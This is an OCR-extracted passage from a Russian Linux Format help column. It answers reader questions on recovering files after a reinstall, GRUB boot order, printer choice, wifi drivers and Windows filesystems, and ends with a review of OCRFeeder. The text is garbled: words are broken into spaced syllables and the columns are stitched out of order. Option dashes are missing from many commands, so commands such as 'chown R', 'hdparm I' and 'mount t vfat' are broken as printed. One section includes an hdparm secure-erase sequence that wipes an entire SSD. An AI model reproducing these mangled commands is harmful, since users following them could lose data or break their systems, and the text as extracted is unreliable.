фай лы», фай лы все рав но бы ли уда ле ны� Я со всем 
но ви чок, и, ду маю, сам ви но ват, но фай лы-то мож-
но ли восста но вить? 
Kanibal, с фо ру мов

О 
Так как Вы соз да ли но во го поль зо ва те ля, 
уста нов щик соз дал для него но вый до
машний ка та лог. Ваш ста рый до машний 

ка та лог остал ся на мес те, но но вый поль зо ва тель 
его не ви дит. Кон фи гу ра ция ста ро го поль зо ва те ля, 
ско рее все го, по те ря лась при пе реуста нов ке, по
это му фай лы оста лись на мес те, но без вла дель
ца. Убе дить ся в этом мож но, за пустив в тер ми на ле 
сле дую щую ко ман ду:
sudo du sch /home/*

ко то рая вы ве дет не что вро де
11G /home/olduser
17G /home/newuser
27G total

Не что по хо жее мож но уви деть и с по мо щью 
про грам мы Gnome Disk Usage, но ее, воз мож но, 
по тре бу ет ся за пустить с sudo, что бы она смог ла 
про чи тать фай лы дру го го поль зо ва те ля. Так как 
ста ро го поль зо ва те ля боль ше не су ще ст ву ет, те
перь нам нуж но сде лать вла дель цем всех этих 
фай лов Ва ше го но во го поль зо ва те ля, сле дую щей 
ко ман дой:
sudo chown R newuser: /home/olduser

Те перь ка та лог ста ро го поль зо ва те ля и все его 
со дер жи мое (бла го да ря па ра мет ру -R) при над ле
жит но во му поль зо ва те лю. Фай лы все еще на хо
дят ся в ста ром ка та ло ге, но пе ре ме щать их пол
но стью в но вый небезо пас но, так как неко то рые 
из них со дер жат на строй ки ра бо че го сто ла и про
грамм. Ес ли имя фай ла или ка та ло га на чи на
ет ся с точ ки, то он обыч но со дер жит на строй
ки и не ото бра жа ет ся в фай ло вых менед же рах. 
Дру гие фай лы – му зы ку, фо то гра фии, до ку мен
ты и т. д. – мож но про сто пе ре мес тить в те ку щий 
до машний ка та лог в фай ло вом менед же ре или 

в тер ми на ле. Ос тавь те «фай лы 
с точ кой» там где они есть, ес
ли толь ко у Вас не ка та ст ро фи
че  ски ма ло мес та. На ста ром 
мес те они нико му не по вре дят 
и мо гут при го дить ся при на
строй ке но вой сис те мы.

2 Не в долж ном 
по ряд ке

В 
Я уста но вил Linux Mint 
14 на быв ший в упот-
реб лении, но до воль но 

мощ ный ком пь ю тер с же ст ким 
дис ком в 160 ГБ� Я был до во лен 
и ком пь ю те ром, и Mint, но по-
сле уста нов ки нуж ных про-
грамм и раз ме щения фай лов 
у ме ня оста лось все го 36 ГБ� Я по ду мал, что для 
но во го ком пь ю те ра это го недоста точ но, и до ба вил 
диск на 1 ТБ� Тут-то и на ча лись му чения�

По сле неудач но го опы та с CloneZilla я восполь-
зо вал ся ком пакт-дис ком PMagic 2012-12-25, что бы 
ско пи ро вать ста рый диск на но вый и из менить 
раз ме ры раз де лов� Но когда я пе ре за гру зил ся 
с дву мя уста нов лен ны ми дис ка ми, за гру зи лась 
ста рая ко пия Mint с дис ка 160 ГБ� Когда я от-
клю чил ка бель SATA ста ро го дис ка, ниче го 
не за гру зи лось�

Тогда я об ра тил ся к ва ше му ру ко во дству 
по Grub 2 (LXF154) и об на ру жил, что управ ляю-
щих фай лов два: /etc/default/grub и /boot/grub/
grub.cfg� По том я об на ру жил, что Grub 2 об ра ща-
ет ся к дис кам по UUID� По это му я уда лил # из стро-
ки GRUB_DISABLE_LINUX_UUID=true в default/grub, 
вы полнил ко ман ду update_grub и пе ре за гру зил ся� 
Ком пь ю тер сно ва за гру зил ся с дис ка 160 ГБ� За-
тем я на ме рен но на ру шил ва ши ин ст рук ции никог-
да не ме нять файл /boot/grub/grub.cfg, из менил 
ка ж дое упо ми нание sdb (диск 160 ГБ) на sda (диск 
1 ТБ) на обо их дис ках и сно ва пе ре за гру зил ся� 
Сис те ма сно ва за гру зи лась с дис ка 160 ГБ�

Как же из менить по ря док за груз ки Grub 2, 
что бы за гру зить сис те му с боль шо го дис ка?
Билл Фрэнк лин [Bill Franklin]

О 
Про бле мы, ко то рые Вы ис пы ты вае те, 
ско рее все го вы зва ны по ряд ком за груз
ки в BIOS. Он оп ре де ля ет, за груз чик ка

ко го дис ка бу дет вы зван, и ника кие из менения 
в на строй ках Grub не мо гут на это по вли ять. Что
бы из менить на строй ки BIOS, нуж но при за груз ке 
на жать и удер жи вать кла ви шу – обыч но Del, Esc 
или од ну из функ цио наль ных кла виш; при за груз
ке долж но поя вить ся (и очень бы ст ро ис чез нуть) 

со об щение о том, ка кую кла ви шу на жать. По
сле это го в BIOS обыч но мож но вы брать, с ка ко го 
дис ка за гру жать ся. Аль тер на тив ный ва ри ант – по
ме нять мес та ми шлей фы дис ков (вы клю чен ных!), 
что бы диск в 1 ТБ об на ру жи вал ся пер вым. Для 
на ча ла я бы от клю чил ста рый диск, что бы еще 
боль ше не за пу ты вать си туа цию, и за гру зил су
ще ст вую щую опе ра ци он ную сис те му с Live CD. 
У боль шин ст ва Live CD, вклю чая System Rescue CD 
и уста но воч ный диск Mint, есть воз мож ность за
гру зить су ще ст вую щую сис те му с же ст ко го дис ка.

По сле за груз ки сно ва вклю чи те UUID в /etc/
default/grub и вы полните ко ман ду:
sudo grubupdate

Она долж на соз дать при год ный для за груз
ки grub�cfg. Кста ти, в ре дак ти ро вании grub�cfg 
нет ниче го страш но го, ес ли Вы понимае те, что 
все Ва ши из менения бу дут стер ты при оче ред
ном за пуске grub-update. На са мом де ле это хо ро
шо, по то му что мож но по про бо вать чтото, а за
тем восста но вить ис ход ные на строй ки. Од на ко 
обыч но про ще на жать e в ме ню Grub, да там и вы
полнить из менения, ко то рые во об ще не за тро нут 
grub�cfg. Воз врат к ис поль зо ванию UUID га ран ти
ру ет, что все ссыл ки бу дут на диск 1 ТБ – вто ро го 
дис ка в сис те ме боль ше нет – и оста нут ся та ко вы
ми, ес ли сно ва под клю чить ма лень кий диск.

Еще од на воз мож ная при чи на – Вы ско пи ро
вали толь ко раз де лы и не ско пи ро ва ли код за груз
чи ка. Ес ли по зво лить сис те ме за гру зить ся со ста
ро го дис ка (sda) и за тем вы полнить ко ман ду
sudo grubinstall /dev/sdb

код за груз чи ка бу дет уста нов лен в MBR но во го 
дис ка, и с него мож но бу дет за гру зить ся.

Когда все за ра бо та ет, Вы смо же те сно ва под
клю чить ста рый диск, ко то рый те перь дол жен 
стать sdb, ес ли Вы ме ня ли SATAка бе ли мес та ми, 
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хо тя мож но за дать это и в BIOS. Но сто ит ли остав
лять ста рый диск, ес ли но вый ра бо та ет? Он бу дет 
го раз до мед леннее, мень ше и не бу дет при но сить 
ника кой поль зы, ес ли Вы ско пи руе те с него все 
фай лы, ко то рые мо гут по на до бить ся.

3 Мед лен ный SSD

В 
Око ло двух лет на зад я уста но ви ла диск 
SSD в свой но ут бук� Сна ча ла он ра бо-
тал очень бы ст ро, но по том стал тор мо-

зить� Мы, конеч но, бы ст ро при вы ка ем к ско ро сти 
и пе ре ста ем ее за ме чать, но боль шие про грам мы 
вро де Firefox и LibreOffice оп ре де лен но ста ли за-
гру жаться доль ше� Я слы ша ла ис то рии об ог ра-
ничен ном сро ке служ бы флэш-дис ков и хо тела бы 
уз нать, не пер вый ли это зво нок?
Сью зан Уил сон [Susan Wilson]

О 
Хо тя у флэшпа мя ти ог раничен ное ко
ли че  ст во цик лов за пи си, ка че  ст во па мя
ти в SSD го раз до вы ше, чем в USBбрел

ках и SDкар тах. К то му же в SSD ис поль зу ют ся 
ум ные тех но ло гии управ ления уровнем из но са, 
га ран ти рую щие, что опе ра ции за пи си рав но мер
но рас пре де ля ют ся по всем ячей кам па мя ти, про
дле вая их срок служ бы еще боль ше. В ре зуль тате 
Ваш диск SSD дол жен про ра бо тать столь ко же, 
сколь ко и обыч ный же ст кий диск. Не удач ные 
опе ра ции за пи си при во дят к по яв лению оши бок, 
но не к снижению про из во ди тель но сти. Это за мед
ление – неиз беж ное след ст вие то го, как ра бо та ет 
ме ханизм кон тро ля из но са SSD: бло ки не сти ра ют
ся неза мед ли тель но, и диск мо жет «за полнить ся» 
очень бы ст ро. Вам мо жет по мочь мон ти ро вание 
дис ка с под держ кой TRIM. Ес ли у Вас фай ло вая 
сис те ма ext4 – сей час она ис поль зу ет ся в боль
шин ст ве ди ст ри бу ти вов – до бавь те discard к оп ци
ям мон ти ро вания в /etc/fstab для всех фай ло вых 
сис тем ext4.

Од на ко ес ли диск уже доста точ но за мед лил ся, 
оно не слиш ком по мо жет. Тогда мож но вы полнить 
«сброс к за во дским на строй кам», что бы восста но
вить ис ход ные на строй ки дис ка. Пре ж де чем дви
гать ся даль ше, уч ти те, что при этом все дан ные 
с же ст ко го дис ка бу дут стер ты. По это му ли бо сде
лай те ре зерв ную ко пию, ли бо вы пол няй те сброс 
сра зу по сле уста нов ки но во го ди ст ри бу ти ва (или 
сде лай те и то, и дру гое). 

При сбро се ис поль зу ет ся ко ман да hdparm, ко
то рая ско рее все го уже уста нов ле на. При вы
полнении этой про це ду ры диск дол жен быть 
под клю чен к ин тер фей су SATA Ва ше го ком пь
ю те ра. При по пыт ке вы полнить это че рез адап
тер с SATA на USB есть ре аль ный риск пре вра
тить Ваш SSD в кир пич. Так же оче вид но, что диск 
не дол жен ис поль зо вать ся сис те мой, по это му 
для вы полнения этих дей ст вий Вам по на до бит ся 
Liveди ст ри бу тив.

Сна ча ла нуж но про ве рить, что диск мож но 
сбро сить, ко ман дой
hdparm I /dev/sdX

где sdX – Ваш SSD. Бли же к кон цу вы во да ко ман
ды долж на быть стро ка “not frozen [не за мо ро
жен]”. Ес ли диск «за мо ро жен», ниче го не по лу
чит ся. Од на ко сто ит снять все па ро ли в BIOS или 
да же по про бо вать под клю чить этот диск к дру го
му ком пь ю те ру, по то му что ста тус «за мо ро жен» 
мо жет быть вы зван BIOS. За тем нуж но за дать па
роль поль зо ва те ля, так как без него не по лу чит ся 
вы полнить за щи щен ный сброс.
hdparm usermaster u –securitysetpass abcd /
dev/sdX

Сно ва за пус ти те hdparm -I, и те перь под стро кой 
с па ро лем долж но поя вить ся enabled:
Security:
   Master password revision code = 65534
      supported
      enabled

Те перь мож но очи стить диск ко ман дой
hdparm usermaster u securityerase abcd /dev/
sdX

Это мо жет за нять неко то рое вре мя – обыч но 
несколь ко ми нут, но иногда на мно го доль ше. Ког
да ко ман да за вер шит ся, сно ва за пусти те hdparm 
-I, и Вы долж ны уви деть сле дую щее:

В 
Linux ши ро ко ис поль зу ют ся фай ло вые 
ссыл ки, в основ ном сим во ли че  ские (или 
мяг кие). Фай ло вая ссыл ка – это спо соб 

раз ме щения од но го и то го же фай ла (или ка
та ло га) в двух или бо лее мес тах или под раз
лич ны ми име на ми. Мож но бы ло бы про сто ско
пи ро вать файл в ка ж дое ме сто, но здесь есть 
несколь ко недостат ков: вопер вых, тра та дис ко
во го про стран ст ва, а вовто рых, ес ли основ
ная вер сия фай ла из менит ся, ко пия попрежне
му останет ся в ста рой вер сии. В фай ло вых Linux 
есть сред ст ва досту па к од но му и то му же фай лу 
или ка та ло гу из несколь ких мест – ссыл ки. Су
ще ст ву ет два ти па ссы лок: же ст кие и сим во ли че
 ские [symlink]. С техниче  ской точ ки зрения ка ж
дый файл пред став ля ет со бой же ст кую ссыл ку, 
и это ссыл ка с имени фай ла на струк ту ру дан

ных на дис ке с его со дер жи мым. Когда мы го
во рим о же ст ких ссыл ках, мы име ем в ви ду до
полнитель ные ссыл ки, по это му у фай ла есть 
несколь ко имен. У же ст ких ссы лок есть неко то
рые ог раничения, глав ное – они при ме ня ют ся 
толь ко к фай лам, а не к ка та ло гам, и все ссыл ки 
долж ны ссы лать ся на ту же фай ло вую сис те му.

Сим во ли че  ские ссыл ки го раз до бо лее гиб кие, 
и в ти пич ной сис те ме Linux встре тить их мож но 
по всю ду. Что бы их уви деть, до бавь те па ра метр 
-l к ls, они так же ото бра жа ют ся в боль шин ст ве 
фай ло вых менед же ров. Клас си че  ский при мер 
мож но най ти в ка та ло ге /usr/src, где /usr/src/
linux – сим во ли че  ская ссыл ка на ис ход ный код 
те ку ще го яд ра, на при мер, linux2.6.15. Так мож
но иметь ис ход ные ко ды несколь ких уста нов лен
ных ядер, и ис ходники для те ку щей вер сии всег

да мож но най ти в /usr/src/linux. В /etc/rc�d то же 
мно го сим во ли че  ских ссы лок.

Сим во ли че скую ссыл ку мож но соз дать 
ко ман дой
ln s /path/to/file /path/to/link

Один или оба пу ти мо гут быть от но си тель ны ми.

Фай ло вые ссыл ки

> В /etc есть сим во ли че ские ссыл ки, where files 
must be accessible to many directories�

Тер ми на лы  
и су пер поль зо ва те ли

Мы час то пред ла га ем в ка че  ст ве ре шения про
бле мы вве сти те или иные ко ман ды в тер ми
на ле. Хо тя обыч но то же са мое мож но сде лать 
с по мо щью гра фи че  ских ути лит ди ст ри бу ти ва, 
та кие ре шения бу дут слишком кон крет ны ми 
(бу дут за ви сеть от ди ст ри бу ти ва). Ко ман ды 
в тер ми на ле бо лее гиб кие и – са мое глав ное – 
ими мож но поль зо вать ся во всех ди ст ри бу ти
вах. Ко ман ды на строй ки сис те мы час то нуж но 
вы пол нять от имени су пер поль зо ва те ля, на зы
вае мо го также root. Су ще ст ву ет два основ ных 
спо со ба это де лать, в за ви си мо сти от ис поль
зуе мо го ди ст ри бу ти ва. Во мно гих, осо бен но 
в Ubuntu и его про из вод ных, пе ред ко ман дой 
мож но на пи сать sudo – при этом бу дет за про
шен па роль поль зо ва те ля, и ему бу дут пре
достав ле ны при ви ле гии root толь ко на вре мя 
вы полнения ко ман ды. В дру гих ди ст ри бу ти
вах ис поль зу ет ся su, для ис поль зо вания ко
то рой тре бу ет ся вве сти па роль root и ко то рая 
пре достав ля ет пол ный доступ root до то го мо
мен та, по ка вы не на бе ре те logout. Ес ли в ва
шем ди ст ри бу ти ве ис поль зу ет ся su, за пусти те 
ее один раз и вы пол няй те лю бые за дан ные ко
ман ды без пред ше ст вую щей sudo.
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гру зи те два DEBфай ла и уста но ви те, два ж ды 
щелк нув на ка ж дом из них по оче ре ди, а Ubuntu 
по за бо тит ся об осталь ном. При этом драй ве ры за
гру зят ся в сис те му CUPS, и да лее Вы смо же те на
стро ить свой прин тер так же, как и лю бой дру гой.

Ес ли Вы не хо ти те во зить ся со всем этим 
и пред по чли бы прин тер, драй ве ры для ко то ро го 
мож но уста но вить как обыч но в Linux – с по мо
щью менед же ра па ке тов, с HP Вы не оши бе тесь. 
Вам нуж но уста но вить один па кет hplip, ко то рый 
со дер жит все драй ве ры с от кры тым ис ход ным 
ко дом, по став ляе мые HP для сво их прин те ров 
и сканеров. По сле его уста нов ки драй ве ры ста нут 
доступ ны CUPS, и Вы смо же те на стро ить прин тер 
с по мо щью стан дарт ной ути ли ты для на строй ки 
прин те ров.

HP – не един ст вен ная ком пания, пре достав ляю
щая хо ро шую под держ ку сво их уст ройств в Linux, 
но са мая круп ная и, на вер ное, са мое по пу ляр ная.

При вы бо ре прин те ра об ра ти тесь на сайт http://
linuxprinting.org.

5 Ка кой Linux?

В 
У ме ня есть но ут бук HP, на ко то ром в дан-
ный мо мент Windows XP� Я хо тел бы сме-
нить ее на Linux, так как ду маю, что он бу-

дет бы ст рее и, на вер ное, ве се лее� Я ку пил жур нал 
Linux Format (168), на дис ке ко то ро го есть про грам-
мы для Linux� Ка кие про грам мы вы бы по со ве то-
ва ли но вич ку?
Найджел Сим монс [Nigel Simmons]

О 
Linux Mint, KDEвер сия ко то ро го есть 
у Вас на дис ке – хо ро ший, удоб ный для 
но вич ков ди ст ри бу тив. Впро чем, то же 

мож но ска зать и о боль шин ст ве ди ст ри бу ти вов 
об ще го на зна чения. На са мом де ле, разница ме ж
ду ними не так ве ли ка: во всех ис поль зу ет ся од но 
и то же яд ро Linux, оди на ко вые биб лио те ки и ути

ли ты GNU и по боль шей части – поч ти оди на ко вый 
на бор про грамм. Раз ли чия – в па ке тах, в ис поль
зуе мом ра бо чем сто ле, внешнем ви де, ути ли тах 
для об нов ления и т. д.

Важ но помнить, что Linux от ли ча ет ся от Win
dows. Это мо жет ка зать ся оче вид ным, но от ли чие 
не толь ко в про грам мах: в Linux ис поль зу ет ся со
всем дру гой под ход. Я го во рю не толь ко о про ек
тах от кры то го ПО, но о дру гом об ра зе мыш ления, 
необ хо ди мом для успеш ной ра бо ты в Linux. Са
мое важ ное раз ли чие – идея ди ст ри бу ти ва Linux. 
Ди ст ри бу тив – не про сто опе ра ци он ная сис те ма 
с несколь ки ми до полнитель ны ми про грам ма ми, 
а це лая эко си сте ма, и на все в ней нуж но смот реть 
с точ ки зрения ди ст ри бу ти ва.

Ес ли Вам нуж ны до полнитель ные про грам мы, 
за гляните в менед жер па ке тов ди ст ри бу ти ва 
(в ме ню он час то фи гу ри ру ет как Центр ПО). Ес ли 
Вам нуж на по мощь, за дай те во прос на фо ру мах 
ди ст ри бу ти ва (или об ра ти тесь на фо рум Linux For-
mat с бо лее об щи ми во про са ми). Поч ти все есть 
в па ке тах, и Вам не нуж но по ки дать пре де лы ди
ст ри бу ти ва, что бы уста но вить про грам му или на
стро ить свой ком пь ю тер.

По это му, на вер ное, луч ше вы брать один ди
ст ри бу тив и поль зо вать ся им по крайней ме ре 
несколь ко ме ся цев. Изу чи те осно вы од но го ди ст
ри бу ти ва, пре ж де чем по про бо вать дру гой – и тог
да оба ди ст ри бу ти ва по нра вят ся Вам боль ше. Ес
ли у уста нов щи ка ди ст ри бу ти ва есть воз мож ность 
по мес тить до машний ка та лог на от дель ный раз
дел (то есть раз мес тить его на от дель ной от опе
ра ци он ной сис те мы час ти дис ка), восполь зуй тесь 
ею. Так Вы смо же те по про бо вать дру гие ди ст ри
бу ти вы, не за тра ги вая до машний ка та лог, где хра
нят ся все Ва ши пер со наль ные фай лы, на строй ки, 
элек трон ные пись ма и т. д.

Что бы Вы ни вы бра ли, пе ре ход с XP на Linux, 
по жа луй, бу дет менее ре во лю ци он ным, чем 
на Windows 8, и го раз до бо лее ве се лым. На сла ди
тесь но вым опы том.

5 Шат кая бес про вод ная сеть

В 
Есть ли у ко го-нибудь по нят ное, лег кое 
в при менении и про ве рен ное ре шение, ка-
жет ся, об щей про бле мы Mint 14 — нена деж-

но го се те во го со единения с уст рой ст ва ми с мик-
ро схе мой Ralink RT2810? Это, оче вид но, про бле ма 
драй ве ра�

Я по тра тил несколь ко ча сов на по ис ки в Ин-
тернете и оп ро бо вание раз лич ных со всем непо-
нят ных (для ме ня) ре шений, пред ло жен ных 
раз ны ми людь ми; все они раз ные, и ни од но 
не по мог ло�
Ри чард Слип пер [Richard Slipper]

О 
Это дей ст ви тель но по хо же на про бле му 
драй ве ра, и что бы ее ре шить, нуж но об
но вить драй вер. В па ке те compat-wireless 

есть но вей шие драй ве ра, еще не встро ен ные в яд
ро. Ус та но вить па кет мож но как обыч но, че рез Syn-
aptic, за тем нуж но сде лать так, что бы ис поль зо ва
лись но вые драй ве ры; для это го до ба вим ста рые 
в чер ный спи сок. Соз дай те файл /etc/modprobe�d/
blacklist-rt2800�conf, со дер жа щий стро ку

Security:
   Master password revision code = 65534
      supported
   not enabled
   not locked
   not frozen
   not expired: security count
      supported: enhanced erase
2min for SECURITY ERASE UNIT. 2min for 
ENHANCED SECURITY ERASE UNIT.

Об ра ти те внимание, что па роль сно ва недосту
пен [not enabled]; это оз на ча ет, что диск был сбро
шен. Те перь мож но сно ва раз бить диск на раз де
лы и восста но вить дан ные из ре зерв ных ко пий 
или пе реуста но вить сис те му, и Вы уви ди те, что 
Ваш прыт кий ста рый SSD вер нул ся.

4 Про щай, Вин ды

В 
Ре шил на ве ки по ки нуть Windows� Сде лать 
свою Ubuntu 12�10 жизнеспо соб ной сис те-
мой мне ме ша ет только отсутствие прин-

тера, ко то рый ра бо тал бы сра зу� У ме ня есть три 
прин те ра Brother и ста рый HP Deskjet 3650�

Со все ми прин те ра ми Brother, за гру жая ПО 
с сай та Brother, во зить ся слиш ком дол го� У ме ня 
так же был HP Deskjet 3650, ко то рый я под клю чил 
к Ubuntu 12�10, и он за ра бо тал сра зу� Прин те ры ка-
ких про из во ди те лей вы бы по со ве то ва ли, что бы 
бы ст ро на стро ить их без осо бых про блем?
Билл Ше перд [Bill Shepherd]

О 
Я поль зо вал ся прин те ра ми HP несколь
ко лет, но недав но ку пил прин тер/ска
нер Brother. Что бы за гру зить драй ве

ры с сай та Brother, при дет ся немно го по во зить ся, 
но не слиш ком. В основ ном Вам нуж ны два па
ке та – драй вер lpr и cupswrapper. Пер вый па кет – 
драй вер, а вто рой необ хо дим, что бы за ста вить 
прин тер ра бо тать с сис те мой пе ча ти CUPS. За

> Что бы вы смог ли сбро сить SSD, здесь долж на быть над пись “not frozen [не за мо ро жен]”� В дан ном 
слу чае диск был «за мо ро жен» BIOS; под клю чив его к дру го му ком пь ю те ру, мы смог ли бы про дол жить�
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blacklist rt2800usb
Пе ре за гру зи те сис те му, и бес про вод ная се те

вая кар та те перь долж на поль зо вать ся бо лее но
вы ми драй ве ра ми. Не доста ток ис поль зо вания 
драй ве ров, не яв ляю щих ся ча стью Ва ше го яд ра, 
в том, что при уста нов ке но во го яд ра при об нов

лении сис те мы но вые драй ве ры не бу дут ра бо тать 
с ним, по ка Вы их не пе реуста но ви те. Пе ред пе ре
за груз кой убе ди тесь, что пе реуста но ви ли па кет 
compat-wireless, или имей те под ру кой ка бель Eth
ernet, что бы пе реуста но вить па кет без ис поль зо
вания бес про вод ной се ти. |

> Мож но ли смон ти ро вать мои дис ки 
Windows в Linux?
Да, мож но. Ста рые фай ло вые сис
те мы FAT и VFAT MSDOS под дер жи
ва ют ся мно го лет, боль шин ст во ди
ст ри бу ти вов оп ре де лят и на стро ят 
лю бые фай ло вые сис те мы FAT или 
VFAT ав то ма ти че  ски. Смон ти ро вать 
фай ло вую сис те му вруч ную мож но 
ко ман дой
mount t vfat /dev/hda1 /mnt/
windows

> Как на счет фай ло вой сис те мы 
NTFS, ис поль зуе мой Windows XP?
Под держ ка NTFS до недавнего 
вре мени бы ла не пол ной, и боль
шин ст во ди ст ри бу ти вов в луч шем 
слу чае пре достав ля ли доступ толь
ко для чтения. Запись в этой фай ло
вой сис те ме в Linux все еще счи та ет
ся экс пе ри мен таль ной, и она час то 
от клю че на, но сей час есть драй вер 
Fuse – ntfs3g, пре достав ляю щий 

пол ный доступ на чтение и запись 
для сис тем NTFS; най ти его мож но 
на www.ntfs3g.org. Драй ве ры Fuse 
в фай ло вых сис те мах яд ра ра бо
та ют ина че – раз дел мон ти ру ет ся 
ко ман дой:
ntfs3g /dev/hda1 /mnt/windows

и раз мон ти ру ет ся ко ман дой
fusermount u /dev/hda1

> Я до ба вил свой раз дел Windows 
в /etc/fstab� По че му толь ко root мо-
жет за пи сы вать на него?
В FAT нет вла дель цев и прав досту
па, по это му вла дель цем всех фай
лов и ка та ло гов ста но вит ся тот 
поль зо ва тель, ко то рый смон ти ро
вал их, а при мон ти ро вании во вре
мя за груз ки сис те мы это root. 
Поль зо ва те ля мож но из менить с по
мо щью па ра мет ра uid в стро ке fstab, 
но доступ попрежнему бу дет ог
раничен одним поль зо ва те лем. Аль
тер на тив ный ва ри ант – из менить па

ра метр umask, ко то рый управ ля ет 
пра ва ми досту па ка ж до го фай ла. 
Сле дую щие па ра мет ры в /etc/fstab 
сде ла ют все су ще ст вую щие фай лы 
доступ ны ми на запись для всех 
и сде ла ют их вла дель цем поль зо ва
те ля fred из груп пы users.
/dev/hda1 /mnt/windows vfat 
umask=000,uid=fred,gid=users 0 0

> Чем раз ли ча ют ся FAT, VFAT 
и FAT32?
FAT ис ход но бы ла фай ло вой сис
те мой MSDOS, VFAT – рас ши рение 
FAT в Windows 95, под дер жи ваю
щее длин ные име на фай лов; до него 
все име на фай лов ог раничи ва лись 
схе мой 8.3 и верхним ре ги ст ром. 
FAT32 – дальней шее рас ши рение 
для под держ ки дис ков боль ше го 
раз ме ра. На же ст ких дис ках поч ти 
всегда ис поль зу ет ся FAT32, а на уст
рой ст вах с флэшпа мя тью, та ких 
как USBна ко пи те ли, кар ты па мя

ти и ка ме ры обыч но ис поль зу ет ся 
FAT16. Но об этом мож но бес по ко
ить ся толь ко при фор ма ти ро вании 
уст рой ст ва, так как мо дуль vfat 
под дер жи ва ет все эти фай ло вые 
сис те мы.

> А мож но ли счи ты вать фай ло вые 
сис те мы Linux из Windows?
Те перь с неко то ры ми фай ло вы
ми сис те ма ми Linux это воз мож
но. На www.fsdriver.org есть драй
вер для ext2/3, ко то рый мон ти ру ет 
фай ло вую сис те му ext2 на от дель
ный диск. Он не пол но стью реа ли
зу ет пра ва досту па, так как Windows 
ниче го не зна ет о Ва ших поль зо
ва те лях Linux. Вла дель цем но вых 
фай лов ста но вит ся вла де лец ка
та ло га, в ко то ром они на хо дят ся. 
Так же есть ути ли та rfstool (http://p
nandq.com/download/rfstool.html) 
для досту па к раз де лам ReiserFS 
из Windows.

Дос туп к фай ло вым сис те мам Windows

По мо ги те нам  
по мочь вам

Еже ме сяч но мы по лу ча ем несколь ко пи сем, 
на ко то рые не в состоянии от ве тить, так как про
бле ма опи са на в них недоста точ но пол но. Что бы 
дать вам наи луч ший от вет, нам нуж но знать как 
мож но боль ше. 

Ес ли у вас по яв ля ет ся со об щение об ошиб ке, 
приведи те его точ ный текст и опишите кон
крет ные усло вия, когда оно по яв ля ет ся. 
При возникновении про бле мы с уст рой ст ва ми 
пере числи те нам все уста нов лен ные уст рой ст ва. 

Ес ли Linux уже за пу щен, мо же те применить 
для этого отлич ную про грам му Hardinfo (http://
hardinfo.berlios.de/) – она со хранит под роб ную 
ин фор ма цию об уст рой ст вах и о состоянии сис
те мы в HTMLфайл, который вы смо же те при ло
жить к своему пись му. 

Аль тер на тив ный и не менее удоб ный ва ри ант – 
lshw (http://ezix.org/project/wiki/HardwareLiSter). 
Од на из указанных программ непременно долж на 
быть включена в ва ш ди ст ри бу ти в (а иногда 
и обе).

Ес ли вы не хо ти те или не мо же те их уста но
вить, вы полните сле дую щие ко ман ды в тер ми
на ле от имени root и при ло жи те файл system�txt 
к пись му. Это здо ро во по мо жет ди аг но сти ке.
uname a >system.txt
lspci >>system.txt
lspci vv >>system.txt

> Про бле мы с бес про вод ной се тью мо гут быть вы зва ны не на строй ка ми и да же не ди ст ри бу ти вом� Ино гда 
нуж но про сто сме нить драй вер�
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Майк Сон дерс
Из ла зив са мые не до ся гае мые  
и укро мные угол ки Ин тер не та,  
Майк точ но зна ет, где прячут ся 
луч шие об раз чи ки от кры то го ко да�

Ин ст ру мент рас по зна вания тек ста

OCRFeeder

С
ей час 2013 год, а у нас попреж
нему нет мо то цик лов на воз душ
ной по душ ке, до ми ков на Лу

не, ну и все го про че го, что нам обе ща ли 
в про шлом ве ке. И на этом раз оча ро вания 
не за кан чи ва ют ся – мы так и не пе ре шли 
на де ло про из вод ст во без бу ма ги, что по
мог ло бы со хранению ле сов. А ведь мож но 
бы ло бы по про бо вать – иногда вам при
хо дят по поч те вся кие ве щи, сде лан ные 
из мерт вых де ревь ев, од на ко при на ли чии 

достой ных про грамм OCR вы вполне мо
же те кон вер ти ро вать их в ку да бо лее эко
ло гич ный фор мат, а ори ги нал ра до ст но 
от пра вить в кор зи ну. 

Ве ро ят но, вы уже слы ша ли о про грам
мах для OCR (optical character recognition – 
оп ти че  ское рас по зна вание сим во лов); это 
сис те ма, с по мо щью ко то рой сканиро
ван ный до ку мент ана ли зи ру ет ся на пред
мет зна ко мых сим во лов (букв), и те кон
вер ти ру ют ся в тек сто вые пе ре мен ные для 

ре дак ти ро вания. Суть та ко ва, 
но на де ле все за час тую не так 
про сто. Вспомните о все воз мож
ных шриф тах, цве тах и рас клад
ках, и вы пой ме те, что ра бо та 
у программ OCR непро стая.

Про грам мы OCR есть раз ные, од на ко 
на ше внимание при влек OCRFeeder, по то му 
что он «уме ет ав то ма ти че  ски ох ва ты вать 
со дер жание и раз ли ча ет гра фи ку и текст». 
По крайней ме ре, так за яв ля ют раз ра бот
чи ки, но мы бы ли за ин три го ва ны: нам за
хо те лось про ве рить, дей ст ви тель но ли 
OCRFeeder умнее среднеста ти сти че  ской 
про грамм OCR, счи ты ваю щей все под ряд.

И мы бы ли по ра же ны. Мы про бо ва
ли раз ные рас клад ки, и по боль шей час ти 
ему уда ва лось рас по знать ко лон ки тек ста, 
врез ки и дру гие тек сто вые эле мен ты. Бо
лее слож ная верстка его за пу ты вала, од
на ко об лас ти для кон вер ти ро вания мож но 
вы де лять вруч ную. OCRFeeder под дер жи
ва ет несколь ко движ ков OCR, в за ви си
мо сти от то го, что вы уста но ви ли – в на
шем тес те наи луч шие ре зуль та ты бы ли 
с Cuneiform.

Ес ли вы сканируе те ста рые вы цвет шие 
до ку мен ты, восполь зуй тесь функ ци ей Un
paper, что бы по чис тить ска ны пе ред за
пуском про цес са OCR. Все на стро ив, мо
же те соз дать файл OpenDocument Text для 
ре дак ти ро вания в под дер жи вае мом при
ло жении – на при мер, в LibreOffice.

В об щем и це лом, OCRFeeder прост 
в ис поль зо вании, от ли ча ет ся хо ро шей 
про из во ди тель но стью и на страи ва ет ся 
на раз ные ти пы до ку мен тов. Ес ли у вас 
в кла дов ке ско пи лась ку ча ста рых до
ку мен тов, ко то рые вы хо ти те пе ре гнать 
в элек трон ный фор мат, он от лич но по тру
дит ся для вас.

> В OCRFeeder мож-
но на стро ить спо-
соб иден ти фи ка ции 
тек ста и об лас ти 
со дер жа ния�

Вер сия: 0.7.11 Сайт: http://live.gnome.org/OCRFeeder

Управ ление [Controls]
До бавь те файл изо бра жения и щелк
ните по Recognize, что бы най ти тек сто
вые об лас ти.

На ви га тор [Navigator]
Здесь вы мо же те до бав лять несколь ко 
изо бра жений для сканиро вания.

Дви жок [Engine]
Вы бе ри те дви жок OCR и щелк
ните по кноп ке OCR, что бы 
на чать об ра бот ку.

Ре зуль та ты [Results]
Эта тек сто вая панель по ка зы
